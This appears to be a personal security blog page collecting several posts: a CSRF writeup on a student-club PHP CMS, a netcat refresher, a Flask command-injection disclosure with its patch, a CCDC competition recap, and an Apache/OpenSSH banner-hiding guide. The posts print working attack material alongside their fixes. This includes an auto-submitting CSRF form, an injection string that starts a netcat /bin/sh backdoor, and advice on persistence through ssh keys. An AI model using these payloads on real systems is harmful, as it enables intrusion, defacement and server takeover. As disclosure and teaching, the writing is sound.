Mark Mossberg's Blog

Hacker Nonsense

Abusing Admin Privileges via CSRF

Exploiting a classic CSRF vulnerability

When I took over responsibility as the webmaster for Northeastern University’s IEEE student chapter around January 2014 (yes, this is a very belated post), I was suddenly reponsible for maintaining a custom LAMP stack Content Management System (CMS) whose core functionality was letting an admin post to a news feed on the front page of the site. This site has since been completely redone, but given that it is notoriously difficult to program securely in PHP, I decided to poke around a little and see if I could find any cool bugs.

Initially, I started looking for the most blatant web vulns, SQLi and XSS, but was pleasantly surprised to find in the register.php file, for example, that handles user registration, to find a input sanitation check.

if ((isValid($_POST['newusername']))&&(isValid($_POST['newpassword'])))
    // continue with registration

where isValid() looks like

function isValid($varx)
    $valid = true;
    $bad_stuff = array("#","(",")","<",">","?","/","\\","[","]","|","$","'",":",";", "@");
    for($index = 0; $index < strlen($varx); $index++) {
        if(in_array(substr($varx,$index,1), $bad_stuff)) {
            $valid = false;
    if(substr($varx, 0, 1) == " ") {
        $valid = false;
    return $valid;

This code has a pretty substantial blacklist of commonly used characters in injections and operates by iterating over each character of the questionable input and testing if the character is in the blacklist, if so, setting the $valid variable to false. This seems to be an effective technique at ensuring the input is safe to use, however OWASP tends to discourage this model.

After ruling this out of potential vulns, I looked a little deeper into the code that powered the posting of news to the website, add-news.php.

Here we can see that if the HTTP request is a “POST” and the PHP session variables “isadmin” and “isofficer” are set to “yessir” and “true” respectively, then the code that adds news gets executed.

        if(isset($_SESSION['isadmin']) || isset($_SESSION['isofficer']))
            if($_SESSION['isadmin'] == "yessir" || $_SESSION['isofficer'] == "true")
                // add news

After these access checks pass, the POST request data is processed and ultimately a SQL query string is generated.

// continued from above
$title = htmlspecialchars($_POST['news_title'], ENT_QUOTES);
$text = htmlspecialchars($_POST['post'], ENT_QUOTES);
{ ... } // some omitted stuff
$user_query = "SELECT user_id, username FROM " . $INFO['sql_prefix'] . "users WHERE username = '" . $_SESSION['username'] . "'";
$user_result = mysql_query($user_query);
    //Returns an array with the data from the SQL select statement
    $user_row = mysql_fetch_row($user_result);

    $query1 = "INSERT INTO " . $INFO['sql_prefix'] . "news (news_title, news_type, time_posted, time_meeting, news_body, author_id, author_name, meeting_location) ";
    $query2 = "VALUES ('" . $title . "', '" . $type_of_news . "', '" . time() . "', '" . $time_of_meeting . "', '" . $text . "', '" . $user_row[0] . "', '" . $user_row[1] . "', '" . $meetinglocation . "')";
    $add_news_query = $query1 . $query2;
    $add_news_result = mysql_query($add_news_query);

// done

The important part to notice here is that there is no code that ensures the legitimacy of the request, that is, that a currently authenticated admin user actually meant to make this request. In this scenario if we can somehow find a way to get the admin to submit an arbitrary POST request to the add-news.php page, since she already has the session all set up in her browser, we can bypass the session checks previously shown and add arbitrary news to the website, for example.

You might be wondering how we can get the admin to submit arbitrary POST requests without her noticing. The most obvious answer is physical access to the her machine while she’s away or something, but a much more realistic scenario would be if we would get the admin to browse to a web page that we (the attacker) control, we can use some nifty JavaScript magic to get her to automatically submit the proper POST request on our behalf.

This is called Cross Site Request Forgery).

It turns out that these types of malicious pages are actually very simple to write. Remember, all that’s really needed is JavaScript execution, so for example if you had previous knowledge of a site that the admin frequented that had an XSS vulnerability, that would be a perfect way to chain these attacks. Anyway, here’s an example malicious page 1.

    <h1>non-malicious website! :)</h1>
    <form id="thisform" action="" method="POST"
        <input type="text" name="news_title" value="breaking news: u got hacked" />
        <input type="text" name="post" value="insert website defacement here" />
        <input type="submit"/>
    <script type="text/javascript" charset="utf-8">
        var frm = document.getElementById("thisform");

Nothing fancy here, just a simple hidden form with the values you want to submit to the page, and some JS that submits the form.

A caveat: Yes, it is true that you would have to guess the proper field names (“posts”, “news_title”) but even if you can only guess “posts”, you can write anything into the body of the news post.

End result looks something like this.

There was an identical bug in the code that handles editing users. Let’s have some fun!

In both of these gifs, the admin user was logged in, and then they opened a malicious html file, simulating visiting a malicious website. The mere act of opening the web page triggered the payload which sent the POST to the server, adding the news, and changing the user.

So how do we fix this sort of thing? The most common way involves the server requiring a randomly generated, non-predictable token that is associated with the user session with each request. An example could be that every time the actual admin web interface form is loaded, it contains a hidden field, invisible to the admin, with this token that is sent along with the request. The server verifies that it sent this token out previously, and that the token hasn’t expired, and if everything else checks out, the request goes through. This crucial missing piece of information will prevent attackers from successfully faking requests as the authenticated user.

  1. For more examples of how to trigger your CSRF payload via JavaScript, check out the excellent Ruby on Rails Security Guide

Netcat Refresher

Quick overview of the legendary Unix tool, netcat, with examples and applications


Netcat is a great tool for all things networking and is commonly nicknamed “the TCP/IP Swiss-army knife” due to its versatility and utility. An absolute must-know for sysadmins and hackers. In this article, I’ll go over a few common uses I have for it that I frequently forget after not using it for a while, primarily for my own personal reference.

Before I begin, I should point out that there are a few variants on netcat that have slightly different options and behaviors but are all essentially the same in “spirit and functionality”, as the ncat man page describes it.

The original netcat comes from the OpenBSD package and was written by “Hobbit”. This is the default version that comes with OS X and Ubuntu. The version that I use and will cover is the standard GNU Netcat, by Giovanni Giacobbi, which is a rewrite of the original. This available using brew on OS X. On Ubuntu it’s called “netcat-traditional” which you can apt-get and then run with nc.traditional. Lastly, there is ncat, which is a netcat implementation by our friends from the nmap team. It is designed to modernize netcat and adds features like SSL, IPv6, and proxying which aren’t available in the original(s).


At its core, netcat is a tool for creating arbitrary TCP connections, which looks like

$ netcat [host] [port]

where host is either an IP Address or a domain name, and port is the TCP port to connect to.

You can also use netcat to do the reverse: listen for arbitrary TCP connections. This looks like

$ netcat -l -p [port] [host]

Here, host is an optional parameter which lets you limit what host can create connections.

Example: Chat

Using these two behaviors, we can create a crude chat system. One one host, listen for connections on a port.

$ netcat -l -p 1337

On the same one, in another terminal, connect to it on that port.

$ nc localhost 1337

There won’t be a prompt, but when you enter text and press enter, it will appear in the other terminal. You can just as easily do this between different hosts and have a super basic chat setup.

Example: Curl-like behavior

You can also use netcat to emulate curl and interact with HTTP servers. Connect to the server on port 80 (or whatever port it’s running on) and you can then type out the HTTP request to send to it. When you’re finished, hit enter twice and it will send.

[mark:~]{ nc 80
GET / HTTP/1.1

HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 349
Connection: close
Date: Wed, 05 Mar 2014 20:15:42 GMT
Server: ECSF (mdw/1383)

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
<html xmlns="" xml:lang="en" lang="en">
<title>400 - Bad Request</title>
<h1>400 - Bad Request</h1>

As you can see here, we sent a bare-bones HTTP request (GET / HTTP/1.1) which was successfully sent to the server. The server responded with a 400, because our request didn’t contain enough information, but that’s not important; if we had filled in the right headers, it would have responded with the home page for

For Hackers

There are two applications for netcat that I find particularly useful in pen-testing situations.


The first is helpful for the recon stage, which is essentially getting information on your target. Sometimes network services may give away version information when an arbitrary network connection is made. For example, OpenSSH by default gives away it’s version information as well as information on the host, when you connect. For example,

$ netcat 22
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1

is typically what you might see. For an attacker, this is pretty valuable stuff! MySQL behaves similarly.

$ netcat 3306

The output isn’t as clear as OpenSSH, but we can confirm that MySQL is indeed running, and we can infer that the version is “5.5.33”. For information on removing these banners, check out my blog post on it.


The other application is when you have achieved command execution, but not exactly shell access. You can use netcat to create a nifty backdoor which you can externally connect to. To create the backdoor, we’ll use the -e flag to tell netcat to execute a binary on receiving a connection. We want a shell, so we’ll say -e /bin/sh. The whole command will look like:

$ netcat -l -p 1337 -e /bin/sh

which will give you a backdoor on port 1337, which will then let you run commands upon connecting to that port. For a good example, check out my other blog post where I actually used this.


That was a quick overview of netcat including its basic functionality and some example use cases. Thanks for reading!


Discovering, patching, and exploiting a simple command injection webapp


The university that I study at, Northeastern has an awesome Entrepreneurs Club. One of the programs that they run is called iMadeIT which is a series of workshops designed to help entrepreneurs with a nontechnical background to learn about web development. This post is going go over a vulnerability I discovered in the iMadeIT class website, how I patched, and how an attacker might exploit it in a real situation.


The workshops are taught using Flask, a Python microframework for web development known for its simplicity and ease of use for beginners. Students taking the class would sign up at, which would make them an account on the website for class management purposes, but also would interestingly create an account for them on the server running the iMadeIT site as well as allow them to “register” a TCP port to run their Flask app on. This would allow students to have a live link on the internet so they could show off what they’ve been working on to people (instead of just running on localhost) without requiring everyone to have their own server.

The Vulnerability

Anyway, the iMadeIT guys open sourced the code that runs their website and since it is actually written in Flask which is something I’ve been meaning to learn for a while now, I decided to take a look at it to see if I could understand anything.

After poking around in the code for a bit, I noticed this particularly interesting function:

def create(name, password):
    return os.system('useradd -p {} -s /bin/bash -d /home/{} -m {}'.format(enc_pass, name, name))

This is what gives the user their own account on the server. If we trace the function calls, we can see that this function is called from the create_account function. Heavily edited to only show relevant sections, it looks like this:

def create_account():
    name = request.form['create_username']
    pw = request.form['create_pw']
    user.create(name, pw)

Notice anything? The username is taken from the webpage form and directly passed into the create function without any type of sanitization, creating a classic command injection vulnerability. What this essentially means is that it’s possible for an attacker to put a specially formatted string in the username field that will allow them to execute arbitrary commands on the server.

For example, under ordinary circumstances, a user might enter “mark” as their username, so the os.system() call would execute:

useradd -p {encrypted password} -s /bin/bash -d /home/mark -m mark

Let’s say a user entered “mark; ls -l #”. Now, os.system() is going to execute:

useradd -p {encrypted password} -s /bin/bash -d /home/mark; ls -l; # -m mark; ls -l #

This will create the user “mark”, but it will also cause ls -l to be executed, which will list the files in the directory. Now the user that entered this in the form isn’t going to see anything; the command executes internally on the server. Hopefully you’re seeing now why this is bad - anyone can execute any command on the server as the user that is running the Flask app. In this case it’s particularly bad, because the app is running on port 80 of the server which is a “privileged” port. Since only the superuser is allowed to run network services on ports below 1024, essentially anyone now has root access to the server.

As a side note, the “#” in the injection is there to comment out the rest of the command (the “-m” part) so it doesn’t interfere with the injection.


This is actually a really easy vulnerability to protect against, all that’s required is to make sure that that the username and password fields are checked in some form before they are sent to the system call. In this case, we don’t have to worry about the password, because it goes through encryption before being used in the system call, so any attempts to inject in the password field would fail when the attacker’s injection gets encrypted.

To check the username input, it’s important to use a positive security model (a whitelist) over a negative one. This is because using a blacklist of specific characters that aren’t allowed can be potentially incomplete and leaves the attacker room to find sneaky ways to exploit this vulnerability using alternative characters that aren’t in your blacklist. As a general rule, it’s better to use a whitelist of only the characters that are permitted. In this case, for a username, let’s say that users should only be allowed to have usernames with lowercase letters, uppercase letters, underscores, and periods. Writing a function to check for this would look like this:

import re
def valid_username(name):
    if'[^\w.]', name):
        return False
        return True

In this particular approach, we aren’t really sanitizing the input, we’re just checking it’s validity. In this case, if this function returned false, the create_account function would fail, and we would show an error to the user. An alternative would be to attempt to correct invalid user input by removing invalid characters, however despite potential UX arguments, I think it’s personally better just to halt completely and let the user sort it out on their end.


Now that we’ve described how the vulnerability works, and how to protect against it, let’s dirty our white hats a little and check out some steps an attacker might take once discovering the vulnerability.

First of all, we know that we can execute arbitrary commands on the server as the root user. To most, this pretty much is already the definition of being 0wned. However, doing so is sort of awkward; we have to go to the login form and create a new user for every command we want to execute. Let’s use netcat to create a rudimentary backdoor into the system by telling netcat to listen on an arbitrary port (say, 1337) and executing a certain file upon receiving a connection (say, /bin/sh).

This command looks like

$ netcat -l -p 1337 -e /bin/sh

and so our injection would look like

mark; netcat -l -p 1337 -e /bin/sh & #

Notice that I added a “&” before the “#” in the injection. This will cause the backdoor to run in the background because otherwise the flask process would stop while the backdoor is running, and the webapp would stop working. Not very stealthy. When we enter this into the create account form, we won’t get any sort of confirmation that our backdoor is working, however we’ll know soon enough when we test it. To connect, all we need to do is run

$ netcat [ip address] 1337

which will attempt to create a simple TCP connection to the IP address of the server on the same port you specified earlier. If it worked, you won’t get a prompt, but you’ll have a shell that you can enter commands at. With spaces added for ease of reading, this looks like

$ netcat 1337



echo $SHELL

Now, the server has been totally owned. Next steps could include adding your ssh public key to the ~/.ssh/authorized_keys file for enhanced persistence if the server got restarted, or if someone saw your backdoor and killed it. In a situation where the app wasn’t running on port 80 and was running on a nonprivileged port instead, you wouldn’t necessarily have root access so you would then use a local exploit to escalate privileges. However for this situation, even exploiting this vulnerability at all is sort of pointless because the webapp actually creates an account for you on the server which you can ssh into, and legitimately get a shell.


I hope you can see now how even something as simple as checking user input in a webapp can go a long way in securing your web site and making sure you don’t get hacked. After discovering the vuln, I submitted a pull request to iMadeIT’s repo on github, which was merged and deployed an astonishing 5 minutes later, so serious props to them for that. I’ve never discovered a serious vulnerability “in the wild” before, so it was sort of cool to go through the process of submitting the patch and then confirming that it was working in the live site.

That’s all, thanks for reading!

CCDC Regional Qualifiers 2014

Thoughts on the Collegiate Cyber Defense Competition 2014 regional qualifiers

Today, from approximately 10:00 am to 6:00 pm, I competed with 7 other students on Northeastern University’s Cyber Defense team in the Northeast Collegiate Cyber Defense Competition. It was a great experience, and although it wasn’t exactly what I expected, I still had a lot of fun.


Basically, the way this competition works is each team is given the IT infrastructure of a small business and it is their task to lock down the security of the infrastructure. They have to do this while under attack from a Red Team of hackers who are trying to break in and exfiltrate sensitive data (credit card info, PII, etc.), or just generally mess with and pwn you. In this case, we were managing an e-commerce website that included a web server running a CMS, a DNS (and MySQL, interestingly) server, a firewall, a mail server, and a FTP server.


Personally, myself and a teammate tag teamed securing the DNS/database server. This was an important box to secure because if it got pwnt, an attacker would be able to disrupt the DNS of the e-commerce site, disrupt email, and most importantly, potentially dump the database and exfiltrate sensitive information. Throughout the course of the competition, we implemented basic security measures such as changing default passwords for important system and database accounts, and killing unnecessary network services (such as ntpd, sshd, and apache in our case) as well as more involve measures such as skin-tight iptables rules that controlled specifically what traffic would be able to reach our box, and audit rules that would monitor directories/binaries that an attacker on the system would probably modify or execute.


At the beginning of the competition, I had a bit of an adrenaline rush going because I was constantly waiting for the red team to come out of nowhere and own us in some place that we hadn’t thought of, or secured yet, or something. Over time that rush wore off because…the red team never seemed to show up. At no point in the competition did we see any signs of unauthorized access on our box, or even potentially malicious traffic reaching it. Although I do appreciate it, this was a bit of a letdown, given my expectations of getting totally wrecked by the red team.


Ultimately, our team did well enough that we were able to place among the top teams competing and qualify for the Northeast regional competition to be held in March in New Hampshire. Definitely excited for that; I’ve learned a ton about cyber defense by getting involved with the team and I’m looking forward to putting it to use at the real event!

Banner Hiding on Ubuntu 12.04

In most cases, the first phase of any sort of cyber-attack is the “fingerprinting” phase. This essentially involves an attacker attempting to ascertain as much information as possible about the target in question, say, a web server also running an ssh service. Some basic pieces of info that the attacker would be interesting in gathering would be the OS installed on the server, and the types of web and ssh servers running as well as version numbers for all of these. With this info, at the very least, the attacker would be able to google “[web/ssh server] [version] vulnerabilities”, so you can see how it might be a good idea to keep this sort of info hidden. Of course, there is a valid security through obscurity argument to be made here, and even the Apache docs1 themselves state that

…disabling the Server: header does nothing at all to make your server more secure; the idea of “security through obscurity” is a myth and leads to a false sense of safety.

While I can see how it’s not acceptable to use obscurity as a complete solution for potential vulnerabilities, I disagree with the assertion that it does “nothing at all.” Obviously, everyone should aim to make their systems secure at a fundamental level, and obscurity is no substitute for that, however every little bit that you can do to make it more challenging for an attacker, in order to bolster your existing security implementation, is worth it, in my opinion.

Moving back to the original topic, you might be surprised to know how much of this information (services, version numbers) your server gives away by default. For example, let’s take a look at the response headers from a default Apache install:


Right off the bat, we can see that we’re giving away our OS, web server, and version. Let’s make it a little harder for an attacker and hide everything except for “Apache”, which can be done with a trivial edit to your /etc/apache2/apache2.conf file. Simply append the following lines at the end of the file.

ServerTokens Prod
ServerSignature Off

Technically all you really need is the first line, which will do what we want, but the second line will also remove server info in Apache generated pages (error pages, directory listings), so it’s probably a good idea too. That gets us this far:


Unfortunately, “Apache” is as far as we can go with these configuration files; there is no option to turn the server header completely off. However, there is one other thing we can do… get out your hex editors2, we’re going binary patching! Yes, you heard me right, we’re going to directly edit the apache2 binary and remove that pesky banner string.

First off, I recommend making a copy of the binary so if you really screw something up, you can easily get back to where you were. Then get out hexedit and search in the ASCII section for the string “Apache”. Eventually you’ll see some familiar strings all in a row, with the Apache version numbers, etc. There are a couple of them; they represent the different options with the “ServerTokens” config. The “Prod” option corresponds to the first instance of “Apache” there, so let’s change it to “LOLche”. Make sure to only overwrite the existing bytes and nothing more, because doing otherwise could cause other problems with the binary.


Restart the apache service, and violá! We’re officially running a “LOLche” web server.

Screen Shot 2013-12-15 at 2.24.33 AM.png

While we’re messing with these headers, I should point out that you can also add your own headers too. Make sure you have the mod_headers.c Apache module enabled, and then simply append the following to your /etc/apache2/httpd.conf.

<IfModule mod_headers.c>
    Header set Servar "y u look here go away"

Which gives you:


Similar to Apache, OpenSSH also gives out a bunch of information by default.

$ nc localhost 22
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1

To get rid of the Debian information, just add this line to your /etc/ssh/sshd_config.

DebianBanner no

However, this still leaves all the OpenSSH stuff. A more complete solution would be to patch the sshd binary in the same way we did the apache binary.

In addition to screwing with people that are physically looking at these headers and stuff, making these quick fixes also makes an nmap port scan much less effective, since this is primarily where nmap gets its information about what services you’re running.

Just to reiterate, these configurations are not designed to be security solutions in and of themselves, but are simply meant to bolster your existing security practices and make it just a little harder for attackers to do their thing.


  2. I guess you could also use a plain text editor just as well also.